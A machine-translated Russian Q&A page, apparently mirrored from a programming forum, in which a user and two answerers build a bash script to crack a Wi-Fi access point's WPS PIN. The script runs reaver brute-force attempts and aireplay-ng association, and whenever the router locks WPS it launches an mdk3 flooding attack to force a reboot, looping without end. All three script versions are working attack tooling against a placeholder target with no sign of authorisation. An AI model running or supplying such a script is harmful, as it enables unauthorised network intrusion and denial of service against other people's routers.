2017-02-06 10 views
2

Прежде всего, извините за плохой английский. Я пытаюсь написать сценарий bash, чтобы выполнить взлом AP WPS с использованием reaver. Проблема в том, что после попытки использования WPS-PIN-кода AP блокирует WPS, поэтому я reaver не полезен.Сценарий Bash для reaver для разблокировки состояния wps-lock

Для решения этой проблемы я выполняю атаку mdk3, чтобы заставить AP перезагрузиться и снова сможет атаковать ее (после перезагрузки WPS перезапускается в разблокированном состоянии).

Проблема такого подхода заключается в том, что:

  1. Я должен быть перед блокировкой компьютера, когда точка доступа заблокирована и
  2. делает атаку mdk3, остановить его, когда точка доступа перезагружается и повторяя повторное нападение. Решение этого, очевидно, является скриптом.

Я написал следующие строки, которые должны решить эту проблему.

Я должен сказать, что я полный noob в сценариях bash, поэтому сценарий не является «профессиональным», это просто «рабочий стол», чтобы решить мою проблему.

#!/bin/bash 

while true; do 
    # Switch to the correct channel and save it into $channel 
    echo Detecting AP channel 
    timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel 
    rm ap_channel 2> /dev/null 
    touch ap_channel 
    timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel 
    channel="$(head -1 ap_channel | tail -c 2 | head -c 1)" 
    rm ap_channel 

    # Attacks the AP while it isn't wps-locked 
    rm ap_status 2> /dev/null 
    timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
    while [ -z "$(grep Locked ap_status)" ]; do 
     echo Performing reaver attack 
     aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon 
     timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f 
     rm ap_status 
     timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
    done 

    # The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked 
    ((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null & 
    mdk3_pid=$! 
    rm ap_status 
    timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
    while [ -n "$(grep Locked ap_status)" ]; do 
     echo Trying to reboot the AP 
     rm ap_status 
     timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
    done 

    # The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack 
    kill -9 $mdk3_pid 
    echo AP rebooted. Waiting 2 mins till AP init 
    sleep 120 
done 

Проблема в этом сценарии является то, что перенаправление STDOUT, который я использую для вывода Airodump работать иначе, если я исполню ее непосредственно в командной строке, чем если бы я выполнить его в скрипте.

timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 

Мне нужен способ выполнения строки выше в скрипте, как если бы я выполнял его непосредственно в tty. Я не могу сделать это с помощью exec, потому что мне нужно продолжить сценарий.

ПРИМЕЧАНИЕ. Я не могу использовать параметр -w для airodump-ng, поскольку он не сохраняет статус WPS.

Не могли бы вы помочь мне с этим?

ответ

0

Я, наконец, получил его. Я нашел обходное решение для решения этой проблемы, перенаправляя stdout команд в файлы. Я могу написать сценарий, возможно, кто-то сможет его использовать.

!/Bin/Баш

while true; do 

rm attack 
rm ap_status 
rm ap_channel 

# Detects the AP channel 
echo Detecting AP channel 
timeout 45 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -vv > ap_channel # Switch to the AP channel 
timeout 15 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel 
channel="$(head -1 ap_channel | tail -c 3 | head -c 2)" 
rm ap_channel 
echo Detected AP channel $channel 

# Attacks the AP using reaver till the AP locks the WPS 
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
airodump_pid=$! 
sleep 10 
kill -9 $airodump_pid 

while [ -z "$(grep Locked ap_status)" ]; do 
    echo Performing reaver attack 
    aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon 
    timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f 
    ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 
    sleep 10 
    kill -9 $airodump_pid 
done 

# Force a reboot in the AP to unlock WPS 
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > attack & 
mdk3_pid=$! 

((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
airodump_pid=$! 
sleep 10 
kill -9 $airodump_pid 

while [ -n "$(grep Locked ap_status -m 1)" ]; do 
    echo Trying to reboot the AP 
    ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 
    sleep 10 
    kill -9 $airodump_pid 
done 

# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack 
kill -9 $mdk3_pid 
echo AP rebooted. Waiting 5 mins till AP init 
rm attack 
rm ap_status 
sleep 300 

done 

Задержки устанавливаются длинные позиции, но они в порядке. Это зависит от AP, вы можете их изменить.

Для использования сценария, aircrack, reaver (последняя версия, которая имеет опцию --wps), тайм-аут и пакеты mdk3.

Если кто-то, кто знает о сценариях bash, хочет изменить скрипт и загрузить лучший, это будет здорово!

0

Мой вариант. Исправлена ​​задержка с заменой dynamic wait. Подсчитайте пробный контакт и подождите время.

Замените «-C gnome-screenshot -f» на вашу программу скриншотов или удалите ее.

!/bin/bash 

while true; do 

rm attack 2> null 
rm ap_status 2> null 
rm ap_channel 2> null 
rm assoc 2> null 

AP_SSID="TARGET_ESSID" 
AP_BSSID="TARGET_BSSID" 
MY_MAC="YOU_MAC" 
MON_INTERFACE=wlan0mon 
PREV_SESS_FILE="PREV_SESSION_FILE.wpc" 
countTryPin=0 
countFile=totalTryPinCount # count file to store total try pin 
waitTryReboot=0 # count wait time AP rebooting (DDOS MDK3) 
waitReboot=0 # count wait time AP recovery after rebooting 
touch $countFile 

echo -e -n "\n\nDetect channel" 

touch assoc 
((reaver -i $MON_INTERFACE -e $AP_SSID -b $AP_BSSID -A -s $PREV_SESS_FILE) 2>&1) > assoc & 
assoc_pid=$! 

while [ -z "$(grep Associated assoc)" ]; do 
    sleep 3 
    echo -n . 
done 

echo -e "\n\n" 
kill -9 $assoc_pid 
wait $assoc_pid 2> null 
rm assoc 

echo -n "Wait association" 
((aireplay-ng -1 0 -e $AP_SSID -a $AP_BSSID -h $MY_MAC $MON_INTERFACE) 2>&1) > ap_channel & 
    ap_channel_pid=$! 
while [ -z "$(grep successful ap_channel)" ]; do 
     sleep 1 
     echo -n "." 
done 

channel="$(head -1 ap_channel | tail -c 3 | head -c 2)" 
echo -e "\n\Channel set to $channel\n\n" 
rm ap_channel 

touch ap_status 
echo -n -e "\nCheck AP WPS lock" 
while [ -z "$(grep $AP_SSID ap_status)" ]; do 
    ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 
    echo -n . 
    sleep 1 
    kill -9 $airodump_pid 
    wait $airodump_pid 2> null 
done 

echo -e "\n\n" 
((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 

while [ -z "$(grep $AP_SSID ap_status -m 1)" ]; do 
    sleep 2 
done 

kill -9 $airodump_pid 
wait $airodump_pid 2> null 

while [ -z "$(grep Locked ap_status -m 1)" ]; do 
    ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 
    echo -e "\n\nBegig reaver attack\n\n" 
    echo -n "Wait association" 
     ((aireplay-ng -1 0 -e $AP_SSID -a $AP_BSSID -h $MY_MAC $MON_INTERFACE) 2>&1) > ap_channel & 
     ap_channel_pid=$! 
    while [ -z "$(grep successful ap_channel)" ]; do 
     sleep 1 
     echo -n "." 
    done 
    echo -e "\n\n" 
    timeout 10 reaver -i $MON_INTERFACE -e $AP_SSID -b $AP_BSSID --no-nacks -vv -s $PREV_SESS_FILE -w -A -g 1 -C gnome-screenshot -f # remove or replace "-C gnome-screenshot -f" to you screenshot programm 
    countTryPin=$[countTryPin + 1] 
    kill -9 $airodump_pid 
    wait $airodump_pid 2> null 
done 


# Force a reboot in the AP to unlock WPS 
((mdk3 $MON_INTERFACE a -a $AP_BSSID) 2>&1) > attack & 
mdk3_pid=$! 

echo -e "\n\n" 
while [ -n "$(grep Locked ap_status -m 1)" ] && [ -n "$(grep $AP_SSID ap_status -m 1)" ]; do 
    ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 
    sleep 4 
    waitTryReboot=$[waitTryReboot + 4] 
    echo -e -n "\rTry calling reboot AP. Wait $waitTryReboot sec." 
    kill -9 $airodump_pid 
    wait $airodump_pid 2> null 
done 

# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack 
kill -9 $mdk3_pid 
wait $mdk3_pid 2> null 

totalTryPin=`cat $countFile` 
totalTryPin=$(($totalTryPin + $countTryPin)) 
echo $totalTryPin > $countFile 

echo -e "\n\n" 
while [ -z "$(grep $AP_SSID ap_status)" ]; do 
    # After reboot AP may be change channel. Run without channel 
    ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID) 2>&1) > ap_status & 
    airodump_pid=$! 
    sleep 5 
    waitReboot=$[waitReboot + 5] 
    echo -e -n "\rAP rebooting. Wait $waitReboot sec." 
    kill -9 $airodump_pid 
    wait $airodump_pid 2> null 
done 

rm attack 
rm ap_status 
rm null 
execTime=$(($SECONDS+$waitTryReboot+$waitReboot)) 
echo -e "\n\nDone $countTryPin try pin.\ 
      \nCalling reboot AP wait time $waitTryReboot sec.\ 
      \nAP rebooting wait time $waitReboot sec.\ 
      \nTotal execute time $SECONDS sec.\ 
      \nTotal try pin $totalTryPin\n\n" 
sleep 3 
SECONDS=0 
done 

 Смежные вопросы

  • Нет связанных вопросов^_^